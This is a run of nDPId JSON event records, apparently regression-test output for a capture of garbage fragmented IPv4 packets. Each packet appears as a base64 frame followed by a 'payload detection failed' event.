+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524908,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525067,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525209,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525336,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 